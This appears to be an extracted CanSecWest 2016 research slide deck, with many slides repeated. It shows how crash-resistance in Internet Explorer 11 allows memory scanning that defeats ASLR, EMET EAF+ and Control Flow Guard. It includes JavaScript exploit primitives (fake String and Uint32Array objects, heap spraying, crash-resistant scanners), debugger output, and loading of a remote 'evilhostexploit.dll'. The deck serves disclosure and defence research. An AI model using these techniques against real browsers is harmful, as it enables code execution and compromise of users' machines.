LdrInitShimEngineDynamic (5)
Execute callchain 1→ 2→ 3→ 4→ 5 : Two controlled parameters
LdrInitShimEngineDynamic([fakeStr + 0x8] + 0x20, [fakeStr] + 0x18)
Param1 has to be within a
module's bounds
Param2: pointer to remote DLL:
evilhostexploit.dll
Crash-Resistant
Export Dispatching
CanSecWest 2016
Crash-Resistant Export Dispatching
Combining Function Chaining and Crash-Resistance
• Function chain allows dispatching exports with max. two
parameters
MoveFileA(STR, STR)
NtGetContextThread(HANDLE, CONTEXT)
...
• After execution of last function in chain an AV is thrown
→ Catched when AV happens within callback() of setInterval() !
→ Possibility to subsequently execute several function chains:
MoveFileA() + LoadLibrary() → two chains
NtGetContextThread() + NtContinue() → two chains
WinExec() + WinExec() + WinExec() → three chains :)
CanSecWest 2016
DEMO 4
Crash-Resistant Export Dispatching
CanSecWest 2016
Crash-Resistant Export Dispatching
Executing arbitrary exports without Shellcode, ROP or JIT
(1) Get ESP with NtGetContextThread as last function in chain
(2) Prepare fake object with CONTEXT for NtContinue:
→ set EIP to wanted exported function (e.g., system call)
→ set ESP to free stack space
(3) Prepare free stack space:
→ write parameters for exported function
→ set return address for exported function to NULL
(4) Use virtual function call to launch NtContinue on indirect call
site in crash-resistant mode
(5) Read return data of system call and proceed to step (2)
CanSecWest 2016
Crash-Resistant Export Dispatching
Executing arbitrary exports without Shellcode, ROP or JIT
(1) Get ESP with NtGetContextThread as last function in chain
(2) Prepare fake object with CONTEXT for NtContinue:
→ set EIP to wanted exported function (e.g., system call)
→ set ESP to free stack space
(3) Prepare free stack space:
→ write parameters for exported function
→ set return address for exported function to NULL
(4) Use virtual function call to launch NtContinue on indirect call
site in crash-resistant mode
(5) Read return data of system call and proceed to step (2)
TNX to Yang Yu for
the NtContinue Trick [5] !
Mitigations
CanSecWest 2016
Mitigations
Fixes and Feedback by Microsoft
• user32 exception handing hardening feature addresses
Internet Explorer 7-11 (MS15-124) [8]
• Crash-Resistant issue fixed in MS Edge (MS15-125) [9]
• Control Flow Guard is becoming more fine-grained with each
Windows version:
→ NtContinue is no valid indirect call target in Windows10 RTM
• Code Integrity in MS Edge:
- block loading of arbitrary libraries
- block child process creation (Windows 10 Insider Preview)
Q & A
robert.gawlik@rub.de
CanSecWest 2016
References
[1] http://www.codeproject.com/Articles/98691/Why-it-s-not-crashing
[2] http://www.phreedom.org/presentations/reverse-engineering-ani/reverse-engineering-ani.pdf
[3] https://www.exploit-db.com/docs/37276.pdf
[4] https://cansecwest.com/slides/2014/The Art of Leaks - read version - Yoyo.pdf
[5] https://cansecwest.com/slides/2014/ROPs_are_for_the_99_CanSecWest_2014.pdf
[6] https://networkx.github.io/
[7] https://github.com/cea-sec/miasm/tree/master/miasm2
[8] https://technet.microsoft.com/en-us/library/security/ms15-124.aspx
[9] https://technet.microsoft.com/en-us/library/security/ms15-125.aspx

Csw2016 gawlik bypassing_differentdefenseschemes

  • 1.
    Bypassing Different DefenseSchemes via Crash-Resistant Probing of Address Space Ruhr University Bochum Horst Görtz Institute for IT-Security Bochum, Germany Robert Gawlik
  • 2.
    CanSecWest 2016 About me •Playing with InfoSec since 2010 • Currently in academia at Systems Security Group @ Horst Görtz Institute / Ruhr University Bochum • Focusing on binary analysis / attacks / defenses / static and dynamic analysis • Little time for bug hunting and exploiting • Fun fact: Recently discovered favorite toy: DynamoRIO
  • 3.
    CanSecWest 2016 Agenda • Crash-Resistance •Crash-Resistance in IE 32-bit (CVE 2015-6161) • Memory Scanning : Bypass ASLR • Export Resolving : Bypass EMET's EAF+ • Function Chaining : Bypass Control Flow Guard & EMET's UNC library path restriction • Crash-Tolerant Function Dispatching : Fun ! • Mitigations/Fixes
  • 4.
  • 5.
    CanSecWest 2016 char* addr= 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } } Crash-Resistance
  • 6.
    CanSecWest 2016 char* addr= 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } } Crash-Resistance • Set timer callback crash()
  • 7.
    CanSecWest 2016 char* addr= 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } } Crash-Resistance • Set timer callback crash() • Dispatch crash() each ms
  • 8.
    CanSecWest 2016 char* addr= 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } } Crash-Resistance • Set timer callback crash() • Dispatch crash() each ms • crash() generates a fault on first execution
  • 9.
    CanSecWest 2016 char* addr= 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } } Program should terminate abnormally Crash-Resistance • Set timer callback crash() • Dispatch crash() each ms • crash() generates a fault on first execution
  • 10.
  • 11.
    CanSecWest 2016 char* addr= 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } } Instead: Program runs endlessly Crash-Resistance • Set timer callback crash() • Dispatch crash() each ms • crash() generates a fault on first execution
  • 12.
    CanSecWest 2016 char* addr= 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } } Crash-Resistance • Set timer callback crash() • Dispatch crash() each ms • crash() generates a fault on first execution
  • 13.
    CanSecWest 2016 Crash-Resistance 0:000:x86> g (370.e4):Access violation - code c0000005 (first chance) crash_resistance!crash+0x2d: 009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000001=?? 0:000:x86> gn (370.e4): Access violation - code c0000005 (first chance) crash_resistance!crash+0x2d: 009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000002=?? 0:000:x86> !exchain [...] 0057f800: USER32!_except_handler4+0 CRT scope 0, filter: USER32!DispatchMessageWorker+36882 func: USER32!DispatchMessageWorker+36895
  • 14.
    CanSecWest 2016 Crash-Resistance 0:000:x86> g (370.e4):Access violation - code c0000005 (first chance) crash_resistance!crash+0x2d: 009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000001=?? 0:000:x86> gn (370.e4): Access violation - code c0000005 (first chance) crash_resistance!crash+0x2d: 009b104d 8a02 mov al,byte ptr [edx] ds:002b:00000002=?? 0:000:x86> !exchain [...] 0057f800: USER32!_except_handler4+0 CRT scope 0, filter: USER32!DispatchMessageWorker+36882 func: USER32!DispatchMessageWorker+36895 pass exception unhandled
  • 15.
    CanSecWest 2016 char* addr= 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } } DispatchMessage: __try { crash() } __except(filter) { } return Crash-Resistance execute handler continue execution access violation filter returns 1 Behind the Scenes (Simplified)
  • 16.
    CanSecWest 2016 char* addr= 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } } DispatchMessage: __try { crash() } __except(filter) { } return Crash-Resistance Behind the Scenes (Simplified)
  • 17.
    CanSecWest 2016 char* addr= 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } } Crash-Resistance If a fault is generated, execution is transferred to the end of the loop Program continues running despite producing faults Behind the Scenes (Simplified)
  • 18.
    CanSecWest 2016 char* addr= 0; void crash(){ addr++; printf("reading %x", addr); char content = *(addr); printf("read done"); } int main(){ MSG msg; SetTimer(0, 0, 1, crash); while(1){ GetMessage(&msg, NULL, 0, 0); DispatchMessage(&msg); } } Crash-Resistance If a fault is generated, execution is transferred to the end of the loop Program continues running despite producing faults Behind the Scenes (Simplified)
  • 19.
  • 20.
    CanSecWest 2016 Crash-Resistance • Similarissues: - ”Why it's not crashing ?” [1] - ANI Vulnerability (CVE 2007-0038) [2] - ”Escaping VMware Workstation through COM1” (JPEG2000 parsing) [3] - ”The Art of Leaks” (exploit reliability) [4]
  • 21.
  • 22.
    CanSecWest 2016 Crash-Resistance inIE 11 • Start worker • Launch timed callback() with setInterval() • callback() function may produce access violations without forcing IE into termination (b): if callback() produces no fault, it is executed completely and then started anew (a): if an AV is triggered in callback(), then callback() stops running and is executed anew JS callback() set with setInterval() or setTimeout() in web worker is crash-resistant: → usable as side channel
  • 23.
    Crashless Memory Scanning inInternet Explorer 11
  • 24.
    CanSecWest 2016 Memory Scanning •Spray the heap • Use vulnerabilty to change a byte → Create a type confusion and craft fake JS objects • Utilize fake objects in web worker with setInterval() to scan memory in a crash-resistant way → Discover Thread Environment Block (TEB) → Discover DLL Base Addresses • Don't control EIP yet – instead: use only JS The Plan: → bypass ASLR
  • 25.
    CanSecWest 2016 Memory Scanning Spraythe heap • Alternate between Object Arrays and Integer Arrays • Object Arrays become aligned to 0xYYYY0000 • Integer Arrays become aligned to +f000 +f400 +f800 +fc00 → Object Array: ObjArr[0] = new String() // saved as reference; bit 0 never set ObjArr[1] = 4 // integer saved as 9 = 4 << 1 | 1 → Integer Array: IntArr[0] = 4 // saved as 4
  • 26.
    CanSecWest 2016 Memory Scanning Spraythe heap 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable' ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101 ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable'
  • 27.
    CanSecWest 2016 Memory Scanning Spraythe heap 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable' ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101 ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable' header space
  • 28.
    CanSecWest 2016 Memory Scanning Spraythe heap 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable' ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101 ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable' first element
  • 29.
    CanSecWest 2016 Memory Scanning Spraythe heap 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable' ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101 ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0 0:036> ddp 1011f100 L2 1011f100 80000002 1011f104 1011f010 00000000 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable' IntArr[0] = 00000000 IntArr[(0x100 - 0x10 + 4) / 4] = 0x1011f010
  • 30.
    CanSecWest 2016 Memory Scanning Spraythe heap 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable' ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101 ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0 0:036> ddp 1011f100 L2 1011f100 80000002 1011f104 1011f010 00000000 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable' IntArr[0] = 00000000 IntArr[(0x100 - 0x10 + 4) / 4] = 0x1011f010 Why this odd index ? (0x100 – 0x10 + 4) / 4 IntArr is aligned to 0x1011f000 – 0x10: occupied header space + 0x100: offset to 0x1011f100 + 0x4: element offset / 0x4: element size → We can expect the element to reside at 0x1011f104
  • 31.
    CanSecWest 2016 Memory Scanning Spraythe heap 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable' ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101 ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0 0:036> ddp 1011f100 L2 1011f100 80000002 1011f104 1011f010 00000000 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable' IntArr[0] = 00000000 IntArr[(0x100 - 0x10 + 4) / 4] = 0x1011f010 IntArr is aligned to 0x1011f000 : first element resides at 0x1011f010 0x10 bytes are taken as header space
  • 32.
    CanSecWest 2016 Memory Scanning Spraythe heap 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable' ObjArr[0] = 0x808f880 // saved as 0x808f880 << 1 | 1 = 0x1011f101 ObjArr[1] = new Uint32Array() // saved as reference 0x100ff1b0 0:036> ddp 1011f100 L2 1011f100 80000002 1011f104 1011f010 00000000 0:036> dd 10110000 L0x0c 10110000 00000000 0000eff0 00000000 00000000 10110010 00000000 000000fc 00003bf8 00000000 10110020 1011f101 100ff1b0 80000002 80000002 0:036> dds 100ff1b0 L1 100ff1b0 7193803c jscript9!Js::TypedArray<unsigned int,0>::`vftable' IntArr[0] = 00000000 IntArr[(0x100 - 0x10) / 4] = 0x1011f010 Almost! We need to change 01 to 00: → IE will interpret ObjArr[0] as object reference and not as number. → Additionally, we control IntArr: We could set all fields of the object referenced by ObjArr[0]
  • 33.
    CanSecWest 2016 Memory Scanning Triggera vulnerability to change a byte • Use a rewriting Use-After-Free [5], e.g., CVE 2014-0322 (IE10): inc [eax+0x10] → eax is attacker controlled → possible to change an arbitrary byte and continue execution in JavaScript OR • Single NULL byte write to attacker chosen address → create a type confusion (0x1011f101 becomes 1011f100) => ObjArr[0] is interpreted as object
  • 34.
    CanSecWest 2016 Memory Scanning Creatingfake JS Objects jscript9!Js::LiteralString looks like : typedef struct LiteralString_{ /*0x0*/ VOID* vtable_ptr; /*0x4*/ VOID* type_ptr; // points to type object /*0x8*/ UINT len; /*0xc*/ WCHAR* buf; // string content } LiteralString; offset = (0x100 – 0x10) / 4 IntArr[0] = 00000007 // type @ 0x1011f010 IntArr[offset] = 0x41414141 // bogus vtable IntArr[offset + 0x4] = 0x1011f010 // points to type IntArr[offset + 0x8] = 0x2 // length IntArr[offset + 0xc] = 0x400000 // address of content
  • 35.
    CanSecWest 2016 Memory Scanning Creatingfake JS Objects fakeString = ObjArr[0] // get object element located at 0x1011f100 leak = escape(fakeString) // leak 0x4 bytes from 0x400000 → we have set 0x41414141 as vtable ptr, but escape() still works → fakeString.substring() does not work → vtable lookup → AV • We can now leak already all the things! function leak(addr){ intArr[offset + 0xc] = addr return to_dword(unescape(escape(ObjArr[0]))) }
  • 36.
    CanSecWest 2016 Memory Scanning Creatingfake JS Objects • Example: leak vtable ptr and type ptr to sanitize fakeString ObjArr[1] = ”bla” // create LiteralString (ref @ 0x10110024) str_addr = leak(0x10110024) str_vtable_ptr = leak(str_addr) str_type_ptr = leak(str_addr + 4) IntArr[offset] = str_vtable_ptr // give fakeString a real vptr! IntArr[offset + 4] = str_type_ptr // real type ptr! → fakeString.substring() should work now :) • We can build arbitrary JS objects if we know their structure • We don't have a write-what-where interface yet → Build your own Uint32Array() to RW complete memory
  • 37.
    CanSecWest 2016 Memory Scanning Creatingfake JS Objects • Exercise: Build your own Uint32Array() • Inaccurate hint: typedef struct Uint32Array_{ /*0x00*/ VOID* vtable_ptr; /*0x04*/ VOID* type_ptr; /*0x08*/ INT NULL; /*0x0c*/ INT NULL; /*0x10*/ VOID* arrayBufferObjectPtr; // can be unset /*0x14*/ INT elemSize; // 4 /*0x18*/ INT arrayBufferOffset; /*0x1c*/ INT nrElements; // 0x7fffffff/4 /*0x20*/ VOID* bufferPtr; // set to 0 /*0x24*/ INT NULL; /*0x28*/ INT NULL; /*0x2c*/ INT NULL; } Uint32Array;
  • 38.
    CanSecWest 2016 Memory Scanning Crash-ResistantScanning • Where are we now? We have fake String and Typed Array objects usable to read and write the address space → arbitrary information leak → arbitrary memory write → Use fake objects for crash-resistant scanning
  • 39.
    CanSecWest 2016 Memory Scanning Crash-ResistantScanning • Discover a Thread Environment Block 0:020> !teb TEB at 7f156000 0:020> dt ntdll!_TEB 7f156000 /b +0x000 NtTib : _NT_TIB +0x000 ExceptionList : 0x03e0f8cc +0x004 StackBase : 0x03e10000 +0x008 StackLimit : 0x03e0c000 ... +0x018 Self : 0x7f156000 0:020> dt ntdll!_TEB 7f156000 ... +0x030 ProcessEnvironmentBlock : 0x7f15f000 _PEB TEB == [TEB + 0x18] && [TEB + 4] > [TEB] > [TEB + 8] ?
  • 40.
    CanSecWest 2016 Memory Scanning Crash-ResistantScanning • Discover a Thread Environment Block 0:020> !teb TEB at 7f156000 0:020> dt ntdll!_TEB 7f156000 /b +0x000 NtTib : _NT_TIB +0x000 ExceptionList : 0x03e0f8cc +0x004 StackBase : 0x03e10000 +0x008 StackLimit : 0x03e0c000 ... +0x018 Self : 0x7f156000 0:020> dt ntdll!_TEB 7f156000 ... +0x030 ProcessEnvironmentBlock : 0x7f15f000 _PEB TEB == [TEB + 0x18] && [TEB + 4] > [TEB] > [TEB + 8] ? Heuristic yields TEB if we read at the right place → Afterwards, PEB can be resolved Normally we cannot leak the TEB as no references exist to it
  • 41.
    CanSecWest 2016 Memory Scanning Crash-ResistantScanning • Discover a Thread Environment Block /* worker. js */ self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ } }
  • 42.
    CanSecWest 2016 Memory Scanning Crash-ResistantScanning • Discover a Thread Environment Block /* worker. js */ self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ } } • scan() runs crash-resistant
  • 43.
    CanSecWest 2016 Memory Scanning Crash-ResistantScanning • Discover a Thread Environment Block /* worker. js */ self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ } } • scan() runs crash-resistant • set address to probe
  • 44.
    CanSecWest 2016 Memory Scanning Crash-ResistantScanning • Discover a Thread Environment Block /* worker. js */ self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ } } • scan() runs crash-resistant • set address to probe → leak() creates implicit flow: if addr != mapped: return
  • 45.
    CanSecWest 2016 Memory Scanning Crash-ResistantScanning • Discover a Thread Environment Block /* worker. js */ self.onmessage = function(){ addr = 0x80000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x1000 maybe_TEB = leak(addr) if (isTEB(maybe_TEB)){ clearInterval(id) /* leak stuff */ } } • scan() runs crash-resistant • set address to probe → leak() creates implicit flow: if addr != mapped: return → use heuristic to discover TEB and leak PEB + LdrData
  • 46.
    CanSecWest 2016 Memory Scanning Crash-ResistantScanning • Discover a Thread-Environment Block
  • 47.
    CanSecWest 2016 Memory Scanning Crash-ResistantScanning • Discover module base addresses directly /* worker. js */ self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ } }
  • 48.
    CanSecWest 2016 Memory Scanning Crash-ResistantScanning • Discover module base addresses directly /* worker. js */ self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ } } • scan() runs crash-resistant
  • 49.
    CanSecWest 2016 Memory Scanning Crash-ResistantScanning • Discover module base addresses directly /* worker. js */ self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ } } • scan() runs crash-resistant • address to probe (64K alignment)
  • 50.
    CanSecWest 2016 Memory Scanning Crash-ResistantScanning • Discover module base addresses directly /* worker. js */ self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ } } • scan() runs crash-resistant • address to probe (64K alignment) • get leak or return
  • 51.
    CanSecWest 2016 Memory Scanning Crash-ResistantScanning • Discover module base addresses directly /* worker. js */ self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ } } • scan() runs crash-resistant • address to probe (64K alignment) • get leak or return → if leak() succeeds check for MZ and PE header (isPE())
  • 52.
    CanSecWest 2016 Memory Scanning Crash-ResistantScanning • Discover module base addresses directly /* worker. js */ self.onmessage = function(){ addr = 0x78000000 id = setInterval(scan, 0) } function scan(){ addr = addr – 0x10000 maybe_PE = leak(addr) if (isPE(maybe_PE)){ clearInterval(id) /* leak stuff */ } } • scan() runs crash-resistant • address to probe (64K alignment) • get leak or return → if leak() succeeds check for MZ and PE header (isPE()) → leak more memory: – name of module – size of module
  • 53.
  • 54.
  • 55.
    CanSecWest 2016 Export Resolving ResolveExports under EMET 5.2 EAF and EAF+
  • 56.
    CanSecWest 2016 Export Resolving ResolveExports under EMET 5.2 EAF and EAF+ • EAF: Forbit accesses to Export Address Table based on calling code (shellcode) • EAF+: Block read accesses to Export Address Table originating from certain modules → EMET's max. security setting for IE (blacklist): mshtml.dll; flash*.ocx; jscript*.dll; vbscript.dll; vgx.dll EMET5.5 → can we abuse reads originating from non-blacklisted modules using only JS (no control-flow hijacking)?
  • 57.
    CanSecWest 2016 Export Resolving ResolveExports under EMET 5.2 EAF and EAF+ • Yes we can! → Let fakeString point to module base and set module size → escape(fakeString) copies the DLL for you! escape used msvcrt!fastcopy_I (msvcrt.dll is not blacklisted) - Worked with large strings but in recent tests it stopped working (fixed?) EMET5.5
  • 58.
    CanSecWest 2016 Export Resolving ResolveExports under EMET 5.2 EAF and EAF+ • Yes we can! → Let fakeString point to module base and set module size → escape(fakeString) copies the DLL for you! escape used msvcrt!fastcopy_I (msvcrt.dll is not blacklisted) - Worked with large strings but in recent tests it stopped working!!!!!! (fixed?, drunk?) EMET5.5 ?! ☹
  • 59.
    CanSecWest 2016 Export Resolving ResolveExports under EMET 5.2 EAF and EAF+ • Yes we can! → Let fakeString point to module base and set module size → escape(fakeString) copies the DLL for you! escape used msvcrt!fastcopy_I (msvcrt.dll is not blacklisted) - worked with large strings but in recent tests it stopped working!!!!!! (fixed?, drunk?) EMET5.5 There is something better: Use the Blob!
  • 60.
    CanSecWest 2016 Export Resolving ResolveExports under EMET 5.2 EAF and EAF+ • Yes we can! → Let fakeString point to module base and set module size → Create a Blob of the fakeString object blob = new Blob([fakeString], {type:"application/octet-stream"}) url = URL.createObjectURL(blob) EMET5.5 0:024> kp n # ChildEBP RetAddr 00 071bed10 77919398 ntdll!CountUnicodeToUTF8+0x21 01 071bed38 774ac7fb ntdll!RtlUnicodeToUTF8N+0xf4 02 071bed84 7324604a KERNELBASE!WideCharToMultiByte+0x269 03 071bedd0 7324638f MSHTML!CBlobBuilder::AppendData+0x317 04 071bee28 72f415e1 MSHTML!CBlobBuilder::ConstructBlob+0x2c9 05 071bee50 714e0fb6 MSHTML!CFastDOM::CBlob::DefaultEntryPoint+0x61
  • 61.
    CanSecWest 2016 Export Resolving ResolveExports under EMET 5.2 EAF and EAF+ • Yes we can! → Let fakeString point to module base and set module size → Create a Blob of the fakeString object blob = new Blob([fakeString], {type:"application/octet-stream"}) url = URL.createObjectURL(blob) EMET5.5 0:024> kp n # ChildEBP RetAddr 00 071bed10 77919398 ntdll!CountUnicodeToUTF8+0x21 01 071bed38 774ac7fb ntdll!RtlUnicodeToUTF8N+0xf4 02 071bed84 7324604a KERNELBASE!WideCharToMultiByte+0x269 03 071bedd0 7324638f MSHTML!CBlobBuilder::AppendData+0x317 04 071bee28 72f415e1 MSHTML!CBlobBuilder::ConstructBlob+0x2c9 05 071bee50 714e0fb6 MSHTML!CFastDOM::CBlob::DefaultEntryPoint+0x61 Not blacklisted by EAF+
  • 62.
    CanSecWest 2016 Export Resolving ResolveExports under EMET 5.2 EAF and EAF+ • Yes we can! → Let fakeString point to module base and set module size → Create a Blob of the fakeString object → Use XMLHttpRequest to retrieve a string copy of the module → Resolve exports within the string copy: PE = to_dword(DLL.substring(0x3c/2, 0x3c/2 + 2)) p_exp = PE + 0x18 + 0x60 ExportDir = to_dword(DLL.substring(p_exp/2, p_exp/2 + 2) ... EMET5.5
  • 63.
  • 64.
  • 65.
    CanSecWest 2016 Function Chaining Stayingunder the radar of Control Flow Guard (CFG) • CFG protects indirect calls • Exported functions are allowed, but not all • Control Flow Hijacking: trigger virtual function call with a method of fakeString: IntArr[offset] = fakeVtable // bogus vtable ptr fakeString = ObjArr[0] fakeString.whatever() → push fakeString // Arg1: controlled content mov eax, [fakeString] // get vtable ptr call [eax + x] // controlled target
  • 66.
    CanSecWest 2016 Function Chaining Stayingunder the radar of Control Flow Guard (CFG) • Idea: (1) Collect export functions which have indirect calls (2) Check if indirect call target is a field of first argument (3) Check if parameters for indirect call target are influenced by arguments → Fields of controlled object (first argument) get propagated to parameters before indirect call → chain functions → Last function in chain is the function we want to perform our operation
  • 67.
    CanSecWest 2016 Function Chaining Stayingunder the radar of Control Flow Guard (CFG) • Example function chain: push fakeString // controlled content mov eax, [fakeString] // get vtable ptr call [eax + 0x20] // fake virtual function (func1) func1(fakeString): ... push [fakeString + 0x10] // = arg3 push [fakeString + 0x04] // = arg2 push fakeString // = arg1 call [fakeString + 0x08] // = func2 func2(arg1, arg2, arg3): ... push arg2 // = [fakeString + 0x04] = CONTEXT* push arg3 // = [fakeString + 0x10] = HANDLE call [arg1 + 0x0c] // = [fakeString + 0x0c] = SetThreadContext
  • 68.
    CanSecWest 2016 Function Chaining Stayingunder the radar of Control Flow Guard (CFG) • Use of networkx [6] and miasm2 [7] to collect suitable exports: In RtlInsertElementGenericTableFullAvl : EBX = Arg1 (fakeString) ESI = [EBX + 0x2c] EIP = ESI
  • 69.
